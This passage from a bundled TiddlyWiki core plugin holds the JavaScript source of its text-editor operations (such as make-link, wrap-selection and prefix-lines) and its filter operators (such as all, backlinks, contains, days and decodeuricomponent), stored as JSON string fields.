operation.selStart;\n\toperation.cutEnd = operation.selEnd;\n\toperation.newSelStart = operation.selStart;\n\toperation.newSelEnd = operation.selStart + operation.replacement.length;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "texteditoroperation"
        },
        "$:/core/modules/editor/operations/text/make-link.js": {
            "title": "$:/core/modules/editor/operations/text/make-link.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/text/make-link.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to make a link\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"make-link\"] = function(event,operation) {\n\tif(operation.selection) {\n\t\toperation.replacement = \"[[\" + operation.selection + \"|\" + event.paramObject.text + \"]]\";\n\t\toperation.cutStart = operation.selStart;\n\t\toperation.cutEnd = operation.selEnd;\n\t} else {\n\t\toperation.replacement = \"[[\" + event.paramObject.text + \"]]\";\n\t\toperation.cutStart = operation.selStart;\n\t\toperation.cutEnd = operation.selEnd;\n\t}\n\toperation.newSelStart = operation.selStart + operation.replacement.length;\n\toperation.newSelEnd = operation.newSelStart;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "texteditoroperation"
        },
        "$:/core/modules/editor/operations/text/prefix-lines.js": {
            "title": "$:/core/modules/editor/operations/text/prefix-lines.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/text/prefix-lines.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to add a prefix to the selected lines\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"prefix-lines\"] = function(event,operation) {\n\t// Cut just past the preceding line break, or the start of the text\n\toperation.cutStart = $tw.utils.findPrecedingLineBreak(operation.text,operation.selStart);\n\t// Cut to just past the following line break, or to the end of the text\n\toperation.cutEnd = $tw.utils.findFollowingLineBreak(operation.text,operation.selEnd);\n\t// Compose the required prefix\n\tvar prefix = $tw.utils.repeat(event.paramObject.character,event.paramObject.count);\n\t// Process each line\n\tvar lines = operation.text.substring(operation.cutStart,operation.cutEnd).split(/\\r?\\n/mg);\n\t$tw.utils.each(lines,function(line,index) {\n\t\t// Remove and count any existing prefix characters\n\t\tvar count = 0;\n\t\twhile(line.charAt(0) === event.paramObject.character) {\n\t\t\tline = line.substring(1);\n\t\t\tcount++;\n\t\t}\n\t\t// Remove any whitespace\n\t\twhile(line.charAt(0) === \" \") {\n\t\t\tline = line.substring(1);\n\t\t}\n\t\t// We're done if we removed the exact required prefix, otherwise add it\n\t\tif(count !== event.paramObject.count) {\n\t\t\t// Apply the prefix\n\t\t\tline =  prefix + \" \" + line;\n\t\t}\n\t\t// Save the modified line\n\t\tlines[index] = line;\n\t});\n\t// Stitch the replacement text together and set the selection\n\toperation.replacement = lines.join(\"\\n\");\n\tif(lines.length === 1) {\n\t\toperation.newSelStart = operation.cutStart + operation.replacement.length;\n\t\toperation.newSelEnd = operation.newSelStart;\n\t} else {\n\t\toperation.newSelStart = operation.cutStart;\n\t\toperation.newSelEnd = operation.newSelStart + operation.replacement.length;\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "texteditoroperation"
        },
        "$:/core/modules/editor/operations/text/replace-all.js": {
            "title": "$:/core/modules/editor/operations/text/replace-all.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/text/replace-all.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to replace the entire text\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"replace-all\"] = function(event,operation) {\n\toperation.cutStart = 0;\n\toperation.cutEnd = operation.text.length;\n\toperation.replacement = event.paramObject.text;\n\toperation.newSelStart = 0;\n\toperation.newSelEnd = operation.replacement.length;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "texteditoroperation"
        },
        "$:/core/modules/editor/operations/text/replace-selection.js": {
            "title": "$:/core/modules/editor/operations/text/replace-selection.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/text/replace-selection.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to replace the selection\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"replace-selection\"] = function(event,operation) {\n\toperation.replacement = event.paramObject.text;\n\toperation.cutStart = operation.selStart;\n\toperation.cutEnd = operation.selEnd;\n\toperation.newSelStart = operation.selStart;\n\toperation.newSelEnd = operation.selStart + operation.replacement.length;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "texteditoroperation"
        },
        "$:/core/modules/editor/operations/text/save-selection.js": {
            "title": "$:/core/modules/editor/operations/text/save-selection.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/text/save-selection.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to save the current selection in a specified tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"save-selection\"] = function(event,operation) {\n\tvar tiddler = event.paramObject.tiddler,\n\t\tfield = event.paramObject.field || \"text\";\n\tif(tiddler && field) {\n\t\tthis.wiki.setText(tiddler,field,null,operation.text.substring(operation.selStart,operation.selEnd));\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "texteditoroperation"
        },
        "$:/core/modules/editor/operations/text/wrap-lines.js": {
            "title": "$:/core/modules/editor/operations/text/wrap-lines.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/text/wrap-lines.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to wrap the selected lines with a prefix and suffix\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"wrap-lines\"] = function(event,operation) {\n\t// Cut just past the preceding line break, or the start of the text\n\toperation.cutStart = $tw.utils.findPrecedingLineBreak(operation.text,operation.selStart);\n\t// Cut to just past the following line break, or to the end of the text\n\toperation.cutEnd = $tw.utils.findFollowingLineBreak(operation.text,operation.selEnd);\n\t// Add the prefix and suffix\n\toperation.replacement = event.paramObject.prefix + \"\\n\" +\n\t\t\t\toperation.text.substring(operation.cutStart,operation.cutEnd) + \"\\n\" +\n\t\t\t\tevent.paramObject.suffix + \"\\n\";\n\toperation.newSelStart = operation.cutStart + event.paramObject.prefix.length + 1;\n\toperation.newSelEnd = operation.newSelStart + (operation.cutEnd - operation.cutStart);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "texteditoroperation"
        },
        "$:/core/modules/editor/operations/text/wrap-selection.js": {
            "title": "$:/core/modules/editor/operations/text/wrap-selection.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/text/wrap-selection.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to wrap the selection with the specified prefix and suffix\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"wrap-selection\"] = function(event,operation) {\n\tif(operation.selStart === operation.selEnd) {\n\t\t// No selection; check if we're within the prefix/suffix\n\t\tif(operation.text.substring(operation.selStart - event.paramObject.prefix.length,operation.selStart + event.paramObject.suffix.length) === event.paramObject.prefix + event.paramObject.suffix) {\n\t\t\t// Remove the prefix and suffix unless they comprise the entire text\n\t\t\tif(operation.selStart > event.paramObject.prefix.length || (operation.selEnd + event.paramObject.suffix.length) < operation.text.length ) {\n\t\t\t\toperation.cutStart = operation.selStart - event.paramObject.prefix.length;\n\t\t\t\toperation.cutEnd = operation.selEnd + event.paramObject.suffix.length;\n\t\t\t\toperation.replacement = \"\";\n\t\t\t\toperation.newSelStart = operation.cutStart;\n\t\t\t\toperation.newSelEnd = operation.newSelStart;\n\t\t\t}\n\t\t} else {\n\t\t\t// Wrap the cursor instead\n\t\t\toperation.cutStart = operation.selStart;\n\t\t\toperation.cutEnd = operation.selEnd;\n\t\t\toperation.replacement = event.paramObject.prefix + event.paramObject.suffix;\n\t\t\toperation.newSelStart = operation.selStart + event.paramObject.prefix.length;\n\t\t\toperation.newSelEnd = operation.newSelStart;\n\t\t}\n\t} else if(operation.text.substring(operation.selStart,operation.selStart + event.paramObject.prefix.length) === event.paramObject.prefix && operation.text.substring(operation.selEnd - event.paramObject.suffix.length,operation.selEnd) === event.paramObject.suffix) {\n\t\t// Prefix and suffix are already present, so remove them\n\t\toperation.cutStart = operation.selStart;\n\t\toperation.cutEnd = operation.selEnd;\n\t\toperation.replacement = operation.selection.substring(event.paramObject.prefix.length,operation.selection.length - event.paramObject.suffix.length);\n\t\toperation.newSelStart = operation.selStart;\n\t\toperation.newSelEnd = operation.selStart + operation.replacement.length;\n\t} else {\n\t\t// Add the prefix and suffix\n\t\toperation.cutStart = operation.selStart;\n\t\toperation.cutEnd = operation.selEnd;\n\t\toperation.replacement = event.paramObject.prefix + operation.selection + event.paramObject.suffix;\n\t\toperation.newSelStart = operation.selStart;\n\t\toperation.newSelEnd = operation.selStart + operation.replacement.length;\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "texteditoroperation"
        },
        "$:/core/modules/filters/addprefix.js": {
            "title": "$:/core/modules/filters/addprefix.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/addprefix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for adding a prefix to each title in the list. This is\nespecially useful in contexts where only a filter expression is allowed\nand macro substitution isn't available.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.addprefix = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(operator.operand + title);\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/addsuffix.js": {
            "title": "$:/core/modules/filters/addsuffix.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/addsuffix.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for adding a suffix to each title in the list. This is\nespecially useful in contexts where only a filter expression is allowed\nand macro substitution isn't available.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.addsuffix = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title + operator.operand);\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/after.js": {
            "title": "$:/core/modules/filters/after.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/after.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddler from the current list that is after the tiddler named in the operand.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.after = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\tvar index = results.indexOf(operator.operand);\n\tif(index === -1 || index > (results.length - 2)) {\n\t\treturn [];\n\t} else {\n\t\treturn [results[index + 1]];\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/all/current.js": {
            "title": "$:/core/modules/filters/all/current.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/all/current.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[current]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.current = function(source,prefix,options) {\n\tvar currTiddlerTitle = options.widget && options.widget.getVariable(\"currentTiddler\");\n\tif(currTiddlerTitle) {\n\t\treturn [currTiddlerTitle];\n\t} else {\n\t\treturn [];\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "allfilteroperator"
        },
        "$:/core/modules/filters/all/missing.js": {
            "title": "$:/core/modules/filters/all/missing.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/all/missing.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[missing]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.missing = function(source,prefix,options) {\n\treturn options.wiki.getMissingTitles();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "allfilteroperator"
        },
        "$:/core/modules/filters/all/orphans.js": {
            "title": "$:/core/modules/filters/all/orphans.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/all/orphans.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[orphans]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.orphans = function(source,prefix,options) {\n\treturn options.wiki.getOrphanTitles();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "allfilteroperator"
        },
        "$:/core/modules/filters/all/shadows.js": {
            "title": "$:/core/modules/filters/all/shadows.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/all/shadows.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[shadows]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.shadows = function(source,prefix,options) {\n\treturn options.wiki.allShadowTitles();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "allfilteroperator"
        },
        "$:/core/modules/filters/all/tags.js": {
            "title": "$:/core/modules/filters/all/tags.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/all/tags.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[tags]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tags = function(source,prefix,options) {\n\treturn Object.keys(options.wiki.getTagMap());\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "allfilteroperator"
        },
        "$:/core/modules/filters/all/tiddlers.js": {
            "title": "$:/core/modules/filters/all/tiddlers.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/all/tiddlers.js\ntype: application/javascript\nmodule-type: allfilteroperator\n\nFilter function for [all[tiddlers]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.tiddlers = function(source,prefix,options) {\n\treturn options.wiki.allTitles();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "allfilteroperator"
        },
        "$:/core/modules/filters/all.js": {
            "title": "$:/core/modules/filters/all.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/all.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for selecting tiddlers\n\n[all[shadows+tiddlers]]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar allFilterOperators;\n\nfunction getAllFilterOperators() {\n\tif(!allFilterOperators) {\n\t\tallFilterOperators = {};\n\t\t$tw.modules.applyMethods(\"allfilteroperator\",allFilterOperators);\n\t}\n\treturn allFilterOperators;\n}\n\n/*\nExport our filter function\n*/\nexports.all = function(source,operator,options) {\n\t// Get our suboperators\n\tvar allFilterOperators = getAllFilterOperators();\n\t// Cycle through the suboperators accumulating their results\n\tvar results = [],\n\t\tsubops = operator.operand.split(\"+\");\n\t// Check for common optimisations\n\tif(subops.length === 1 && subops[0] === \"\") {\n\t\treturn source;\n\t} else if(subops.length === 1 && subops[0] === \"tiddlers\") {\n\t\treturn options.wiki.each;\n\t} else if(subops.length === 1 && subops[0] === \"shadows\") {\n\t\treturn options.wiki.eachShadow;\n\t} else if(subops.length === 2 && subops[0] === \"tiddlers\" && subops[1] === \"shadows\") {\n\t\treturn options.wiki.eachTiddlerPlusShadows;\n\t} else if(subops.length === 2 && subops[0] === \"shadows\" && subops[1] === \"tiddlers\") {\n\t\treturn options.wiki.eachShadowPlusTiddlers;\n\t}\n\t// Do it the hard way\n\tfor(var t=0; t<subops.length; t++) {\n\t\tvar subop = allFilterOperators[subops[t]];\n\t\tif(subop) {\n\t\t\t$tw.utils.pushTop(results,subop(source,operator.prefix,options));\n\t\t}\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/backlinks.js": {
            "title": "$:/core/modules/filters/backlinks.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/backlinks.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning all the backlinks from a tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.backlinks = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\t$tw.utils.pushTop(results,options.wiki.getTiddlerBacklinks(title));\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/before.js": {
            "title": "$:/core/modules/filters/before.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/before.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the tiddler from the current list that is before the tiddler named in the operand.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.before = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(title);\n\t});\n\tvar index = results.indexOf(operator.operand);\n\tif(index <= 0) {\n\t\treturn [];\n\t} else {\n\t\treturn [results[index - 1]];\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/commands.js": {
            "title": "$:/core/modules/filters/commands.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/commands.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the commands available in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.commands = function(source,operator,options) {\n\tvar results = [];\n\t$tw.utils.each($tw.commands,function(commandInfo,name) {\n\t\tresults.push(name);\n\t});\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/contains.js": {
            "title": "$:/core/modules/filters/contains.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/contains.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for finding values in array fields\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.contains = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldname = (operator.suffix || \"list\").toLowerCase();\n\tif(operator.prefix === \"!\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler) {\n\t\t\t\tvar list = tiddler.getFieldList(fieldname);\n\t\t\t\tif(list.indexOf(operator.operand) === -1) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler) {\n\t\t\t\tvar list = tiddler.getFieldList(fieldname);\n\t\t\t\tif(list.indexOf(operator.operand) !== -1) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/count.js": {
            "title": "$:/core/modules/filters/count.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/count.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator returning the number of entries in the current list.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.count = function(source,operator,options) {\n\tvar count = 0;\n\tsource(function(tiddler,title) {\n\t\tcount++;\n\t});\n\treturn [count + \"\"];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/days.js": {
            "title": "$:/core/modules/filters/days.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/days.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that selects tiddlers with a specified date field within a specified date interval.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.days = function(source,operator,options) {\n\tvar results = [],\n\t\tfieldName = operator.suffix || \"modified\",\n\t\tdayInterval = (parseInt(operator.operand,10)||0),\n\t\tdayIntervalSign = $tw.utils.sign(dayInterval),\n\t\ttargetTimeStamp = (new Date()).setHours(0,0,0,0) + 1000*60*60*24*dayInterval,\n\t\tisWithinDays = function(dateField) {\n\t\t\tvar sign = $tw.utils.sign(targetTimeStamp - (new Date(dateField)).setHours(0,0,0,0));\n\t\t\treturn sign === 0 || sign === dayIntervalSign;\n\t\t};\n\n\tif(operator.prefix === \"!\") {\n\t\ttargetTimeStamp = targetTimeStamp - 1000*60*60*24*dayIntervalSign;\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler && tiddler.fields[fieldName]) {\n\t\t\t\tif(!isWithinDays($tw.utils.parseDate(tiddler.fields[fieldName]))) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler && tiddler.fields[fieldName]) {\n\t\t\t\tif(isWithinDays($tw.utils.parseDate(tiddler.fields[fieldName]))) {\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/each.js": {
            "title": "$:/core/modules/filters/each.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/each.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that selects one tiddler for each unique value of the specified field.\nWith suffix \"list\", selects all tiddlers that are values in a specified list field.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.each = function(source,operator,options) {\n\tvar results =[] ,\n\tvalue,values = {},\n\tfield = operator.operand || \"title\";\n\tif(operator.suffix === \"value\" && field === \"title\") {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(!$tw.utils.hop(values,title)) {\n\t\t\t\tvalues[title] = true;\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t});\n\t} else if(operator.suffix !== \"list-item\") {\n\t\tif(field === \"title\") {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler && !$tw.utils.hop(values,title)) {\n\t\t\t\t\tvalues[title] = true;\n\t\t\t\t\tresults.push(title);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsource(function(tiddler,title) {\n\t\t\t\tif(tiddler) {\n\t\t\t\t\tvalue = tiddler.getFieldString(field);\n\t\t\t\t\tif(!$tw.utils.hop(values,value)) {\n\t\t\t\t\t\tvalues[value] = true;\n\t\t\t\t\t\tresults.push(title);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t} else {\n\t\tsource(function(tiddler,title) {\n\t\t\tif(tiddler) {\n\t\t\t\t$tw.utils.each(\n\t\t\t\t\toptions.wiki.getTiddlerList(title,field),\n\t\t\t\t\tfunction(value) {\n\t\t\t\t\t\tif(!$tw.utils.hop(values,value)) {\n\t\t\t\t\t\t\tvalues[value] = true;\n\t\t\t\t\t\t\tresults.push(value);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t);\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/eachday.js": {
            "title": "$:/core/modules/filters/eachday.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/eachday.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator that selects one tiddler for each unique day covered by the specified date field\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.eachday = function(source,operator,options) {\n\tvar results = [],\n\t\tvalues = [],\n\t\tfieldName = operator.operand || \"modified\";\n\t// Function to convert a date/time to a date integer\n\tvar toDate = function(value) {\n\t\tvalue = (new Date(value)).setHours(0,0,0,0);\n\t\treturn value+0;\n\t};\n\tsource(function(tiddler,title) {\n\t\tif(tiddler && tiddler.fields[fieldName]) {\n\t\t\tvar value = toDate($tw.utils.parseDate(tiddler.fields[fieldName]));\n\t\t\tif(values.indexOf(value) === -1) {\n\t\t\t\tvalues.push(value);\n\t\t\t\tresults.push(title);\n\t\t\t}\n\t\t}\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/editiondescription.js": {
            "title": "$:/core/modules/filters/editiondescription.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/editiondescription.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the descriptions of the specified edition names\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.editiondescription = function(source,operator,options) {\n\tvar results = [],\n\t\teditionInfo = $tw.utils.getEditionInfo();\n\tif(editionInfo) {\n\t\tsource(function(tiddler,title) {\n\t\t\tif($tw.utils.hop(editionInfo,title)) {\n\t\t\t\tresults.push(editionInfo[title].description || \"\");\t\t\t\t\n\t\t\t}\n\t\t});\n\t}\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/editions.js": {
            "title": "$:/core/modules/filters/editions.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/editions.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for returning the names of the available editions in this wiki\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter function\n*/\nexports.editions = function(source,operator,options) {\n\tvar results = [],\n\t\teditionInfo = $tw.utils.getEditionInfo();\n\tif(editionInfo) {\n\t\t$tw.utils.each(editionInfo,function(info,name) {\n\t\t\tresults.push(name);\n\t\t});\n\t}\n\tresults.sort();\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/decodeuricomponent.js": {
            "title": "$:/core/modules/filters/decodeuricomponent.js",
            "text": "/*\\\ntitle: $:/core/modules/filters/decodeuricomponent.js\ntype: application/javascript\nmodule-type: filteroperator\n\nFilter operator for applying decodeURIComponent() to each item.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nExport our filter functions\n*/\n\nexports.decodeuricomponent = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar value = title;\n\t\ttry {\n\t\t\tvalue = decodeURIComponent(title);\n\t\t} catch(e) {\n\t\t}\n\t\tresults.push(value);\n\t});\n\treturn results;\n};\n\nexports.encodeuricomponent = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(encodeURIComponent(title));\n\t});\n\treturn results;\n};\n\nexports.decodeuri = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tvar value = title;\n\t\ttry {\n\t\t\tvalue = decodeURI(title);\n\t\t} catch(e) {\n\t\t}\n\t\tresults.push(value);\n\t});\n\treturn results;\n};\n\nexports.encodeuri = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push(encodeURI(title));\n\t});\n\treturn results;\n};\n\nexports.decodehtml = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.htmlDecode(title));\n\t});\n\treturn results;\n};\n\nexports.encodehtml = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.htmlEncode(title));\n\t});\n\treturn results;\n};\n\nexports.stringify = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.stringify(title));\n\t});\n\treturn results;\n};\n\nexports.jsonstringify = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.jsonStringify(title));\n\t});\n\treturn results;\n};\n\nexports.escaperegexp = function(source,operator,options) {\n\tvar results = [];\n\tsource(function(tiddler,title) {\n\t\tresults.push($tw.utils.escapeRegExp(title));\n\t});\n\treturn results;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "filteroperator"
        },
        "$:/core/modules/filters/enlist.js": {
            "title": "$:/core/modules/filters/enlist.js",
